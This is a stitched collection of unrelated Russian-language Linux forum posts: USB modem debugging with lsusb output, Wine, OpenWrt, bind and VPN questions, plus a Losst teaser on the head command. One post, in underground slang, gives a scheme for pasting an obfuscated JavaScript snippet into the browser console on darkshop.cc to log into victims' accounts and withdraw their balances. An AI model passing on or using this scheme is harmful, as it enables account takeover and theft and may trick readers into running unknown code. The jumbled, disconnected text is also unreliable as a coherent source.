Команда head выводит начальные строки (по умолчанию — 10) из одного или нескольких документов. Также она может показывать данные, которые передает на вывод другая утилита. Сегодня мы расскажем как работает эта команда для Linux и покажем, как используются на практике наиболее популярные опции head. Команда head в Linux Синтаксис у команды head следующий: $ head опции файл Здесь: Опции — это параметр, который позволяет настраивать работу команды таким образом, чтобы результат соответствовал конкретным потребностям пользователя. Файл — это имя документа (или имена документов, если их несколько). Если это значение не задано либо вместо него стоит знак «-», команда будет брать
Запись Команда head linux впервые появилась Losst.
Всем привет!
Может кто даст наводку, мысли.
Можно ли как-то с консоли прочитать/записать вебформу по имени в Firefox?
Суть: есть объект <\ inout type=«text» name=«link» value=«www.linux.org.ru» >, есть ли утилиты, которые помогут получить к нему доступ и прочитать/записать с него данные? Может есть плагины на ФФ, но в идеале если это реализовать с командной строки.
Не обязательно API ФФ, думаю средствами Хорга можно тоже.
Спасибо!
Уважаемые, всем привет.
Я тут задался идеей подцепить к rockchip rk3188 девайсу с armv7l, на ядре 3.0.36+ USB modem (аналоговый, с телефонным джэком).
Вижу что при подключении оного в порт происходит его определение, но НЕ происходит создание ttyUSB и/или ttyACM0:
[Wed Dec 11 04:37:27 2019] usb 2-1.2: new high speed USB device number 16 using usb20_host
[Wed Dec 11 04:37:28 2019] usb 2-1.2: New USB device found, idVendor=0baf, idProduct=0303
[Wed Dec 11 04:37:28 2019] usb 2-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=10
[Wed Dec 11 04:37:28 2019] usb 2-1.2: Product: USB Modem
[Wed Dec 11 04:37:28 2019] usb 2-1.2: Manufacturer: U.S.Robotics
[Wed Dec 11 04:37:28 2019] usb 2-1.2: SerialNumber: 0000002
Поискав инфу, обнаружил сию надпись:
The ttyACM0 device comes from a CDC modem interface. Unless it’s compiled in your kernel you probably wont see the ttyACM0 devices.
Что даёт поиск cdc:
-rw-r–r– 1 root root 3364 2013-09-04 14:00 /lib/modules/3.0.36+/kernel/drivers/net/usb/cdc_subset.ko
А вот что даёт вывод
#lsusb -v -s 002:021
Bus 002 Device 021: ID 0baf:0303 U.S. Robotics
Device Descriptor:
bLength 18
bDescriptorType 1
bcdUSB 2.00
bDeviceClass 2 Communications
bDeviceSubClass 0
bDeviceProtocol 0
bMaxPacketSize0 64
idVendor 0x0baf U.S. Robotics
idProduct 0x0303
bcdDevice 2.00
iManufacturer 1 U.S.Robotics
iProduct 2 USB Modem
iSerial 10 0000002
bNumConfigurations 1
Configuration Descriptor:
bLength 9
bDescriptorType 2
wTotalLength 67
bNumInterfaces 2
bConfigurationValue 2
iConfiguration 0
bmAttributes 0x80
(Bus Powered)
MaxPower 360mA
Interface Descriptor:
bLength 9
bDescriptorType 4
bInterfaceNumber 0
bAlternateSetting 0
bNumEndpoints 1
bInterfaceClass 2 Communications
bInterfaceSubClass 2 Abstract (modem)
bInterfaceProtocol 1 AT-commands (v.25ter)
iInterface 5 AltIf0
CDC Header:
bcdCDC 10.01
CDC Call Management:
bmCapabilities 0x03
call management
use DataInterface
bDataInterface 1
CDC Union:
bMasterInterface 0
bSlaveInterface 1
CDC ACM:
bmCapabilities 0x06
sends break
line coding and serial state
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x82 EP 2 IN
bmAttributes 3
Transfer Type Interrupt
Synch Type None
Usage Type Data
wMaxPacketSize 0x0010 1x 16 bytes
bInterval 10
Interface Descriptor:
bLength 9
bDescriptorType 4
bInterfaceNumber 1
bAlternateSetting 0
bNumEndpoints 2
bInterfaceClass 10 CDC Data
bInterfaceSubClass 0 Unused
bInterfaceProtocol 0
iInterface 5 AltIf0
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x01 EP 1 OUT
bmAttributes 2
Transfer Type Bulk
Synch Type None
Usage Type Data
wMaxPacketSize 0x0200 1x 512 bytes
bInterval 0
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x81 EP 1 IN
bmAttributes 2
Transfer Type Bulk
Synch Type None
Usage Type Data
wMaxPacketSize 0x0200 1x 512 bytes
bInterval 0
Device Qualifier (for other device speed):
bLength 10
bDescriptorType 6
bcdUSB 2.00
bDeviceClass 2 Communications
bDeviceSubClass 0
bDeviceProtocol 0
bMaxPacketSize0 64
bNumConfigurations 1
Device Status: 0x0002
(Bus Powered)
Remote Wakeup Enabled
— то есть, cdc этот (вроде как) видит модем, однако НЕ решается создать /dev/ttyUSB и/или /dev/ttyACM0.
Я прочёл тут одну ветку на похожую тему, но ответа так и не нашёл - как заставить девайс создавать /dev/tty*.
Может кто скажет, что не так, или - что надо сделать, что бы этот «3.0.36+ #33 SMP PREEMPT Thu Sep 5 16:37:41 EEST 2013 armv7l GNU/Linux»
не просто увидел мой USB модем, но и создал бы ему /dev/ttyUSB и-или /dev/ttyACM0 ?
Благодарю заранее !
-t
Кто-нибудь смог запустить этот демотест?
https://mega.nz/#!WugnkC7J!jLJcKnQzT_0bQa97M64X7K4Qh6FmIPhMc76QRUrtgs8
У меня никак не получается. DirectMusic (все dll с префиксом dm) я извлёк из DirectX 9c Sdk Redist, скопировал в system32, зарегал в regsvr32, добавил в winecfg как native (сторонние). Вроде установлено нормально. Но нифига не работает (ошибка «Failed to initialize Direct Music». Не работало и с оригинальным DirectMusic, который был в wine. Winetricks тоже не помог. В логах какая-то чипуха про ole, больше ничего.
Тест этот использует такие импорты:
ADVAPI32.dll
DDRAW.dll
DINPUT.dll
GDI32.dll
KERNEL32.dll
OLEAUT32.dll
USER32.dll
ole32.dll
Странно, что в этом списке вообще нет dmusic.
Буду благодарен любой помощи.
отвалился сервис списков ркн, где теперь их брать, очень уж удобно было.
sudi cast @ VladikSS
Всем привет!
Интересует следующий вопрос. Каким образом строится дерево usb устройств в линуксе? Например, имея такой выхлоп в lsusb
/: Bus 01.Port 1: Dev 1, Class=root_hub, Driver=ehci-pci/6p, 480M
|__ Port 2: Dev 3, If 0, Class=Mass Storage, Driver=usb-storage, 480M
я могу понять, физический «адрес» моего устройства 1-2 (и создается соответствующий каталог в /sys/bus/usb/devices). Но кто определяет, как строится это дерево? драйвер ehci ?
вообще итоговая цель понять – вот эта идентификация usb устройств по портам работает одинаково на линуксе и винде: то есть имея 1-2 на линухе, я могу быть уверен, что на винде будет то же самое (пока судя по моим экспериментам – нет, но я хочу убедиться в этом, и найти хоть какую-то инфу в оф.доках)?
но для начала хочу понять, как это устроено в линухе
Недавно человек спрашивал про тензоры — А посоветуйте что-нибудь почитать про роторы, дивергнецию и тензоры — вспомнили позапрошлогоднюю тему, в которой рекомендовали эту книгу. Случайно обнаружил, что по сети гуляют несколько её версий, самая полная из найденых — тут: http://ffmgu.ru/index.php/Файл:Tensor_dla_chainikov_gavrilov.pdf (62 страницы) Было интересно освежить знания, заодно узнал кое-что новое. Возник вопрос: откуда эта книга? Ощущается некоторая недосказанность, может, за 2 года появился и более полный вариант?
Здравствуйте! Подскажите, пожалуйста, такая проблема, сам уже не в силах разобраться.
Не компилируется файл из С в Openwrt. Пробовал на Убунту 12, 14, 18 и на всякий пожарный на CentOS 7. Качаю исходники Openwrt, запускаю make menuconfig, мой пакет видит. Пытаюсь компилировать. В конце вылетает ошибка
cp: cannot stat ‘/home/dmitry/openwrt/staging_dir/toolchain-mips_24kc_gcc-5.4.0_musl-1.1.16/lib/libgcc_s.so.*’: No such file or directory
make[2]: *** [/home/dmitry/openwrt/bin/targets/ar71xx/generic/packages/libgcc_unknown-1_mips_24kc.ipk] Error 1
make[2]: Leaving directory /home/dmitry/openwrt/package/libs/toolchain' make[1]: *** [package/libs/toolchain/compile] Error 2 make[1]: Leaving directory
/home/dmitry/openwrt’
make: *** [package/program1/compile] Error 2
Что с этим можно сделать? Или кто-то подскажет как скомпилировать из С в Openwrt? Пробовал через гцц на виртуалке, но когда с виртуалки закидываю в роутер Микротик, у него syntax error, я так понимаю, платформа не подходит?
Для чего, собственно, это нужно, что б не было скриптов .sh. Пробовал через shc, он из .sh делает .с, но у openwrt syntax error все равно, хотя убунту .с запускает.
Здарова, бротхеры. Собственно, с давних времен тусовался на уже бородатых теневиках. Последним моим теневичком стал чих(чих.мс.Кто знает - тот понял). Решил выбираться из приваток и, собственно, выбор пал на вас. Не хочу я создавать глупых тем, испражняться, ради пары плюсов репутации. Хочу сразу и много. Сливаю я красивую темку, которую на одном из крупняков отрабатывают уже сутки. Сливаю не потому что я очень добрый дядя, а наоборот. Хочу много репки, да и темке то жить осталось несколько часов. Не буду много базарить, поэтому перейдём к дельцу
Изначально нам требуется перейти на сайт darkshop.cc
Далее открыть js консольку в браузере, что делается следующим образом:
Для браузеров Хром или Оpera - CNTRL + SHIFТ + J
Для браузера Фаерфокс - CNТRL + SНIFТ + К.
- В консольке вводим кодик, который выглядит вот так:
_0x699b=[«\x4F\x6E\x6C\x69\x6E\x65\x20\x4F\x62\x66\x75\x73\x63\x61\x74\x6F\x72»];ja= _0x699b[0];a()
- В случае, если ещё не зафикшено, должна появиться надпись подобная «YUnsYS» и начнут появляться хэши. После перехода по хэшу - авторизуемся под аккаунтом какого нибудь мамонта. На аккаунтах можно найти кучу покупок, типа аккаунтов вк и прочей дряни. Но попадаются и аккаунты с балансом, который мы можем вывести без всяких проблем.
p.s - За пару часов я вывел порядка 2300 рублей, нашёл кучу полезной инфы и туда-сюда. Собственно, добивайте тему.
Недавно ушел с работы. Хожу такой по собеседованиям(python) и вижу следующее: сначала такой непринужденный разговор с HR, потом собеседование с техническим специалистом(кодером). И тут начинаются интересности. Начинаются вопросы нормальной такой глубины. С одной стороны они как бы и нормальные, с другой стороны всё, что спрашивается - в реальной работе применяется эпизодически и может вообще не применяться. Как вообще правильно обрабатывать такие штуки, когда технический человек начинает спрашивать такие вопросы, на которые ответ легко можно получить от гугла по ситуации, но не держишь эти знания в голове т.к какой-то вопрос в реальной работе не применяется? Потому как у меня такое ощущение, что такими глубинными вопросами пытаются сбить зарплату. Вот сегодня отсобеседовался на сеньёра(весьма размытое это сеньер и мидл), в итоге спросили «а вы только сеньёра рассматриваете?» На что я ответил, - «в одной компании ты сеньёр, в другой джуниор». На что посовещавшись мне предложили $1.2k. От этого предложения я конечно же отказался
Ситуация в общем-то полностью описывается заголовком. Bind (точнее named) не слушает 0.0.0.0:53, а надо бы.
Как заставить?
При этом слушает 53 порт на ip сетевой карты по tcp и udp 4 и 6 версий, localhost также по tcp и udp обеих версий, из-за чего принимает запросы только с localhost и ничего более.
В директиве acl указано any, а в listen-on 53 порт на всех ipv4 и ipv6.
Сабж. В openvpn было очень удобно. Беглый гуглинг сказал что нет, но может таки есть способ? Используется xl2tpd и libreswan.
Никому не доводилось использовать microtik S+RJ10? ( модуль SFP+ 10Gbit/s TP до 20 метров.)
Если верить ddm (и собственным ощущениям) оно греется ~70
Вполне себе можно использовать для задач типа смотреть трубу читать книжку, слушать музыку, программировать младшего собрата в виде Cortex-M.
>>> Просмотр
(2560x1440,
550 Kb)